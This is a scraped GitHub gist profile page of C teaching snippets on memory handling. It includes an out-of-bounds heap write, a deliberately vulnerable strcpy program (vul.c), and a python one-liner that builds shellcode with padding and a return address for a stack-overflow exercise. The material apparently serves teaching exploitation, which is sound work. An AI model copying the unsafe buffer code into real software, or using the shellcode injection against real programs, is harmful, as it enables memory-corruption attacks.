Skip to content

Instantly share code, notes, and snippets.

View AndyNovo's full-sized avatar

Andy Novocin AndyNovo

View GitHub Profile
void show_chunk_hex(void* start, size_t bytes){
int i=0;
for(;i<bytes;i+=1){
printf("%02x", *((unsigned char*) (start+i)));
}
printf("\n");
};
208 3610179811 4749437308 5088776773 3251577544 331858609 9606535909 831367577 9903309503 7603231457 5507231734 5912753869 5244778496 6376716924 6575467848 3010821242 3880279328 1940308820 1999109911 5755400697 3235963103 7778184100 1041965297 6805143286 4126488863 4135718694 3119184767 2575482757 9222875333 5763307599 930973214 592806915 974805808 4211883533 446088136 7181503931 7429520958 1876814518 6698004063 5027313672 1966991076 9447623542 7136786511 4689077397 7800470688 8620581652 9725907171 1757003508 1923506698 790780224 6718067567 8248583525 1078668097 6373788520 5468923673 6226925481 6603091135 9243993136 3655440534 9724337595 1301294340 157436764 49319047 3123314366 5994170146 7741471155 490754736 6617971819 9096999827 2381729319 9938114771 9941123542 2871989504 2278578083 6693332789 9568587058 9820882170 6659365407 1228555143 5710294696 3247499827 1956530265 6715075836 8350619876 394147779 8056188054 4436348568 7115283696 6424751192 8432427519 9836903895 1860709370 7494072933 9533099031 623434731
233 6436712261 5609644425 5418443116 9284435607 7167617308 6648781056 462301021 478014971 4289580862 3787120657 8902218511 6288920654 7861923120 135573581 7565093958 3014154491 1776675968 8880903423 6396334979 1101520331 5031588726 9057937346 1089584783 5390559938 3379353537 1486175685 5388988949 8868763335 4085561254 258611801 9425890209 9529188629 2771047991 4219093397 6492398286 218619929 4777666313 2944637974 7005573606 4059542688 8299052018 7236819657 9139669177 431196027 4973989928 6357346251 1222548268 4720256817 16725498 761834808 7973762493 8113966636 9497132723 479780466 714233836 785394192 6143239646 9442591819 9993554858 4798117083 5715311398 1306164032 1304729857 4607439045 1296930642 9636148921 552585765 280203038 2045110739 5492823825 367707122 1841385142 5201185809 1638049208 4756930955 5295520745 7786024096 5470140908 2186012188 5533452231 6038895568 5112131513 7688671162 637846491 5375288044 5531005652 1136281397 5758911737 1129461897 3702060767 3776340328 3123981841 8321670448 1738994168 99
245 -5244409607 7375632492 7244140444 -5245744514 4470946279 3631548165 -7734683778 7366682371 -3094422710 4867016746 4277065664 277215937 4151981607 5386981249 4036532956 3334654712 -123841685 -6522439473 5503956167 2117455715 -2806052717 1638007455 -2499475624 -6416948170 -9689035341 -6552186387 8575541215 -257073043 2925741467 3270474790 9952991223 4204321901 5672450328 1466893917 3327843053 9793341896 -1442418607 -2898728728 -8535720873 9047614878 -5402424021 -3172274194 3915238036 -9341607842 8436785752 172034493 3103376497 3005301721 -4501985766 2755807168 -5831445899 -3315874499 7985273554 4520777816 5463205074 -6992896394 3893534489 4827605210 8955441296 -5487270675 4223798926 1600134639 -8333979056 -6516994990 -8684634811 -5190390125 -6513250604 8505373183 -7969749020 5208387830 1362134291 4950917119 3905629380 3261898560 -3754211049 5027184751 7544805270 -2512431714 -8908247594 2099293339 570896366 2094907075 4059600446 -9723841523 -4070537262 8972542428 2128008027 228207202 -7664167563 2034078765 -
204 -9454882673 3121283387 5652825222 -8738824763 -4958596334 -8735843250 9932512585 -2816338913 -4599088717 5207215640 9596861871 7542285857 -1080913800 3497661550 5810001065 5424398585 -6681195402 -8109347856 3619619144 -9825813050 9335869404 9608151647 1081059179 8775411101 -3896795967 1453773205 6966418018 1416639703 6494127198 8557923386 4941730252 -5541542234 -2048960823 -8100737867 -7035903249 -3524126814 5503752769 -8179029242 3142959471 5831643918 -6270526564 -2685019028 5853939238 -389707880 -5205585992 -2791246629 -9466573844 3234138294 9897292797 -3842663519 1204086848 -7059059759 -969856837 -6321029963 -3941199134 9242380112 -8915103726 -6619301257 -5958964961 -4102619188 -3148335360 382496667 8046139776 3414596931 3049923979 -1690790371 8688428328 948922997 84108485 -1839122605 2039409394 5066308113 1205124497 -2947688706 5893262023 -310077170 1868588662 -8032652456 -7603974518 6776855378 -5800542862 6425520095 -3928829653 1082567313 -562861179 9573846120 -2234653726 4122948772 1655910902 -82511
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
struct Banana {
int ripeness;
int age;
float price;
};
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
size_t bytes = 1;
int* p2chunk = (int *) malloc(bytes);
printf("%p p2chunk\n", (void*)p2chunk);
p2chunk[0] = 1;
p2chunk[1] = 2;
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
size_t bytes = 256;
char* p2chunk = (char *)malloc(bytes);
getline(&p2chunk, &bytes, stdin);
printf("%s\n", p2chunk);
free(p2chunk);
`python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"+"A"*27+"\x60\xde\xff\xff\xff\x7f"'`
@AndyNovo
AndyNovo / vul.c
Created September 30, 2016 15:25
#include <string.h>
void go(char *data) {
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv) {
go(argv[1]);